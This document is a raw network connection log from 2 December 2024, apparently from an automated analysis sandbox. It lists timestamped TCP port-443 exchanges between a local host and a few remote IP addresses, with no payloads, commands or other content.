Dec 2, 2024 01:35:02.045512915 CET	49926	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:02.045540094 CET	443	49926	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:02.046084881 CET	49926	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:02.046091080 CET	443	49926	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:02.509615898 CET	443	49926	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:02.512710094 CET	443	49926	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:02.512815952 CET	49926	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:02.512880087 CET	49926	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:02.512898922 CET	443	49926	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:02.512909889 CET	49926	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:02.512916088 CET	443	49926	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:02.516449928 CET	49933	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:02.516494989 CET	443	49933	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:02.516920090 CET	49933	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:02.517409086 CET	49933	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:02.517426014 CET	443	49933	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:02.901035070 CET	443	49929	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:02.902299881 CET	49929	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:02.902312040 CET	443	49929	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:02.903958082 CET	49929	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:02.903965950 CET	443	49929	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:02.976145029 CET	443	49930	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:02.978379011 CET	49930	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:02.978394985 CET	443	49930	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:02.979195118 CET	49930	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:02.979201078 CET	443	49930	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:03.049576044 CET	443	49928	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:03.050096989 CET	49928	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:03.050116062 CET	443	49928	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:03.050735950 CET	49928	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:03.050740957 CET	443	49928	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:03.196443081 CET	443	49931	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:03.197015047 CET	49931	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:03.197037935 CET	443	49931	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:03.197587013 CET	49931	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:03.197592974 CET	443	49931	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:03.336186886 CET	443	49929	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:03.336256981 CET	443	49929	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:03.336483955 CET	49929	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:03.352711916 CET	49929	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:03.352730036 CET	443	49929	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:03.352742910 CET	49929	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:03.352750063 CET	443	49929	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:03.355664015 CET	49934	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:03.355737925 CET	443	49934	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:03.355814934 CET	49934	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:03.356038094 CET	49934	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:03.356050968 CET	443	49934	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:03.420517921 CET	443	49930	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:03.424010992 CET	443	49930	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:03.424057961 CET	443	49930	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:03.424150944 CET	49930	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:03.424215078 CET	49930	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:03.424215078 CET	49930	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:03.424238920 CET	443	49930	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:03.424248934 CET	443	49930	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:03.427103043 CET	49935	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:03.427150011 CET	443	49935	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:03.427218914 CET	49935	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:03.427381039 CET	49935	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:03.427397013 CET	443	49935	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:03.503032923 CET	443	49928	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:03.506148100 CET	443	49928	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:03.506345034 CET	49928	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:03.506422043 CET	49928	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:03.506422043 CET	49928	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:03.506438017 CET	443	49928	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:03.506447077 CET	443	49928	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:03.508980036 CET	49936	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:03.509011030 CET	443	49936	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:03.509174109 CET	49936	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:03.509299040 CET	49936	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:03.509311914 CET	443	49936	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:03.535859108 CET	443	49932	20.190.181.1	192.168.2.7
Dec 2, 2024 01:35:03.536361933 CET	49932	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:35:03.536396027 CET	443	49932	20.190.181.1	192.168.2.7
Dec 2, 2024 01:35:03.539330006 CET	49932	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:35:03.539354086 CET	443	49932	20.190.181.1	192.168.2.7
Dec 2, 2024 01:35:03.539386034 CET	49932	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:35:03.539393902 CET	443	49932	20.190.181.1	192.168.2.7
Dec 2, 2024 01:35:03.650110960 CET	443	49931	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:03.653211117 CET	443	49931	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:03.653306007 CET	49931	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:03.653440952 CET	49931	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:03.653458118 CET	443	49931	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:03.653469086 CET	49931	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:03.653475046 CET	443	49931	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:03.656853914 CET	49937	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:03.656889915 CET	443	49937	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:03.656990051 CET	49937	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:03.657629013 CET	49937	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:03.657645941 CET	443	49937	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:04.232495070 CET	443	49933	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:04.233160973 CET	49933	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:04.233196020 CET	443	49933	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:04.234822035 CET	49933	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:04.234838009 CET	443	49933	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:04.422858000 CET	443	49932	20.190.181.1	192.168.2.7
Dec 2, 2024 01:35:04.422892094 CET	443	49932	20.190.181.1	192.168.2.7
Dec 2, 2024 01:35:04.422944069 CET	443	49932	20.190.181.1	192.168.2.7
Dec 2, 2024 01:35:04.422960043 CET	49932	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:35:04.422977924 CET	443	49932	20.190.181.1	192.168.2.7
Dec 2, 2024 01:35:04.422991991 CET	49932	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:35:04.423016071 CET	443	49932	20.190.181.1	192.168.2.7
Dec 2, 2024 01:35:04.423125982 CET	49932	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:35:04.423706055 CET	49932	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:35:04.423719883 CET	443	49932	20.190.181.1	192.168.2.7
Dec 2, 2024 01:35:04.670588970 CET	443	49933	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:04.673775911 CET	443	49933	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:04.673831940 CET	49933	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:04.675554991 CET	49933	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:04.675581932 CET	443	49933	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:04.675595045 CET	49933	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:04.675601959 CET	443	49933	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:04.678508043 CET	49938	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:04.678541899 CET	443	49938	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:04.678653955 CET	49938	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:04.678950071 CET	49938	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:04.678960085 CET	443	49938	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:05.136296988 CET	443	49934	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:05.137006044 CET	49934	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:05.137043953 CET	443	49934	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:05.139905930 CET	49934	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:05.139914036 CET	443	49934	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:05.207550049 CET	443	49935	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:05.212660074 CET	49935	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:05.212690115 CET	443	49935	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:05.213109016 CET	49935	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:05.213115931 CET	443	49935	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:05.288117886 CET	443	49936	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:05.288662910 CET	49936	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:05.288676023 CET	443	49936	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:05.289092064 CET	49936	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:05.289097071 CET	443	49936	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:05.439462900 CET	443	49937	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:05.458462000 CET	49937	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:05.458483934 CET	443	49937	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:05.460599899 CET	49937	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:05.460607052 CET	443	49937	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:05.595558882 CET	443	49934	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:05.595643044 CET	443	49934	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:05.595710039 CET	49934	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:05.595864058 CET	49934	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:05.595882893 CET	443	49934	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:05.598714113 CET	49939	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:05.598747969 CET	443	49939	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:05.599240065 CET	49939	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:05.599240065 CET	49939	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:05.599272966 CET	443	49939	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:05.651549101 CET	443	49935	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:05.654628038 CET	443	49935	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:05.654674053 CET	443	49935	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:05.654701948 CET	49935	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:05.654728889 CET	49935	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:05.656620979 CET	49935	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:05.656645060 CET	443	49935	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:05.656658888 CET	49935	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:05.656666994 CET	443	49935	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:05.659728050 CET	49940	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:05.659759045 CET	443	49940	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:05.659888983 CET	49940	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:05.660224915 CET	49940	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:05.660234928 CET	443	49940	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:05.732078075 CET	443	49936	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:05.735189915 CET	443	49936	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:05.736584902 CET	49936	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:05.736752033 CET	49936	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:05.736768007 CET	443	49936	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:05.736778021 CET	49936	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:05.736783028 CET	443	49936	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:05.739459991 CET	49941	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:05.739492893 CET	443	49941	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:05.739587069 CET	49941	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:05.739842892 CET	49941	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:05.739851952 CET	443	49941	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:05.883673906 CET	443	49937	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:05.886750937 CET	443	49937	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:05.886799097 CET	443	49937	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:05.886964083 CET	49937	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:05.887012959 CET	49937	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:05.887012959 CET	49937	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:05.887028933 CET	443	49937	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:05.887038946 CET	443	49937	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:05.889467955 CET	49942	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:05.889520884 CET	443	49942	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:05.889605999 CET	49942	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:05.890105009 CET	49942	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:05.890119076 CET	443	49942	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:06.502989054 CET	443	49938	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:06.503459930 CET	49938	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:06.503504038 CET	443	49938	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:06.504965067 CET	49938	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:06.504970074 CET	443	49938	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:06.984127045 CET	443	49938	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:06.987169027 CET	443	49938	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:06.987291098 CET	49938	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:06.987561941 CET	49938	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:06.987586975 CET	443	49938	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:06.987601042 CET	49938	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:06.987608910 CET	443	49938	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:06.990497112 CET	49944	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:06.990539074 CET	443	49944	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:06.990595102 CET	49944	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:06.990751982 CET	49944	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:06.990761995 CET	443	49944	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:07.315504074 CET	443	49939	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:07.316581011 CET	49939	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:07.316600084 CET	443	49939	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:07.317262888 CET	49939	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:07.317269087 CET	443	49939	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:07.508851051 CET	443	49940	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:07.509862900 CET	49940	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:07.509901047 CET	443	49940	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:07.510298967 CET	49940	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:07.510305882 CET	443	49940	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:07.583527088 CET	443	49826	18.165.220.110	192.168.2.7
Dec 2, 2024 01:35:07.583707094 CET	443	49826	18.165.220.110	192.168.2.7
Dec 2, 2024 01:35:07.583878994 CET	49826	443	192.168.2.7	18.165.220.110
Dec 2, 2024 01:35:07.592369080 CET	443	49941	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:07.592832088 CET	49941	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:07.592854977 CET	443	49941	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:07.593348980 CET	49941	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:07.593355894 CET	443	49941	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:07.605911016 CET	443	49942	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:07.606312990 CET	49942	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:07.606342077 CET	443	49942	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:07.606765032 CET	49942	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:07.606770039 CET	443	49942	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:07.751194954 CET	443	49939	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:07.754996061 CET	443	49939	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:07.755073071 CET	49939	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:07.755147934 CET	49939	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:07.755147934 CET	49939	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:07.755167007 CET	443	49939	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:07.755175114 CET	443	49939	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:07.757757902 CET	49945	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:07.757810116 CET	443	49945	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:07.757870913 CET	49945	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:07.758006096 CET	49945	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:07.758023977 CET	443	49945	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:07.962192059 CET	443	49940	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:07.965323925 CET	443	49940	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:07.965388060 CET	49940	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:07.965431929 CET	49940	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:07.965452909 CET	443	49940	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:07.965466976 CET	49940	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:07.965472937 CET	443	49940	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:07.968425989 CET	49946	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:07.968461990 CET	443	49946	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:07.968528986 CET	49946	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:07.968698978 CET	49946	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:07.968708992 CET	443	49946	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:08.040818930 CET	443	49942	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:08.044718027 CET	443	49942	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:08.044801950 CET	49942	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:08.044872999 CET	49942	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:08.044894934 CET	443	49942	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:08.044907093 CET	49942	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:08.044913054 CET	443	49942	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:08.045531034 CET	443	49941	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:08.045557976 CET	443	49941	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:08.045608044 CET	49941	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:08.045614004 CET	443	49941	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:08.045648098 CET	49941	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:08.048959017 CET	49941	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:08.048983097 CET	443	49941	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:08.049058914 CET	49941	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:08.049069881 CET	443	49941	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:08.051434040 CET	49947	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:08.051481009 CET	443	49947	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:08.051556110 CET	49947	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:08.057045937 CET	49947	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:08.057063103 CET	443	49947	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:08.057708979 CET	49948	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:08.057751894 CET	443	49948	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:08.058388948 CET	49948	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:08.058490992 CET	49948	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:08.058511019 CET	443	49948	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:08.705908060 CET	443	49944	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:08.706829071 CET	49944	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:08.706855059 CET	443	49944	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:08.708327055 CET	49944	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:08.708332062 CET	443	49944	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:09.140521049 CET	443	49944	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:09.143974066 CET	443	49944	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:09.144033909 CET	49944	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:09.146316051 CET	49944	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:09.146332026 CET	443	49944	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:09.155719995 CET	49949	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:09.155771971 CET	443	49949	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:09.155854940 CET	49949	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:09.155980110 CET	49949	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:09.155996084 CET	443	49949	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:09.539674997 CET	443	49945	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:09.558782101 CET	49945	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:09.558828115 CET	443	49945	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:09.559477091 CET	49945	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:09.559484005 CET	443	49945	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:09.684036016 CET	443	49946	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:09.684753895 CET	49946	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:09.684779882 CET	443	49946	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:09.685187101 CET	49946	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:09.685192108 CET	443	49946	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:09.891463995 CET	443	49947	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:09.892926931 CET	49947	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:09.892961979 CET	443	49947	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:09.893727064 CET	49947	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:09.893733025 CET	443	49947	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:09.981719971 CET	443	49948	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:09.982372046 CET	49948	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:09.982398987 CET	443	49948	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:09.982913971 CET	49948	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:09.982925892 CET	443	49948	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:09.984276056 CET	443	49945	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:09.987303972 CET	443	49945	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:09.987613916 CET	49945	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:09.987771034 CET	49945	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:09.987791061 CET	443	49945	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:09.987802029 CET	49945	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:09.987807035 CET	443	49945	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:09.990257978 CET	49950	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:09.990295887 CET	443	49950	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:09.990364075 CET	49950	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:09.990514994 CET	49950	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:09.990526915 CET	443	49950	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:10.127856016 CET	443	49946	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:10.127892017 CET	443	49946	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:10.127948046 CET	443	49946	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:10.127952099 CET	49946	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:10.128132105 CET	49946	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:10.128156900 CET	443	49946	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:10.128173113 CET	49946	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:10.128173113 CET	49946	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:10.128180981 CET	443	49946	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:10.128186941 CET	443	49946	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:10.132024050 CET	49951	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:10.132076979 CET	443	49951	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:10.132178068 CET	49951	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:10.132669926 CET	49951	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:10.132699013 CET	443	49951	13.107.246.63	192.168.2.7
